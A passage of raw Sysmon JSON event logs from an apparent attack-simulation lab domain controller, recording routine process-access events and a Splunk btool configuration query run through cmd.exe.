11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3538,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-001091400500}\r\nTargetProcessId: 4612\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-001091400500}","TargetProcessId":"4612","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3539,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.040\r\nProcessGuid: {90617006-407E-5F2D-0000-00104D410500}\r\nProcessId: 4568\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list replication_port --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-407E-5F2D-0000-001091400500}\r\nParentProcessId: 4612\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.040","ProcessGuid":"{90617006-407E-5F2D-0000-00104D410500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list replication_port --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-407E-5F2D-0000-001091400500}","ParentProcessId":"4612","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3540,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-407E-5F2D-0000-001091400500}\r\nSourceProcessId: 4612\r\nSourceThreadId: 4604\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00104D410500}\r\nTargetProcessId: 4568\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-407E-5F2D-0000-001091400500}","SourceProcessId":"4612","SourceThreadId":"4604","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00104D410500}","TargetProcessId":"4568","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3541,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-00104D410500}\r\nTargetProcessId: 4568\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-00104D410500}","TargetProcessId":"4568","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3542,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3543,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3544,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3545,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3546,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\S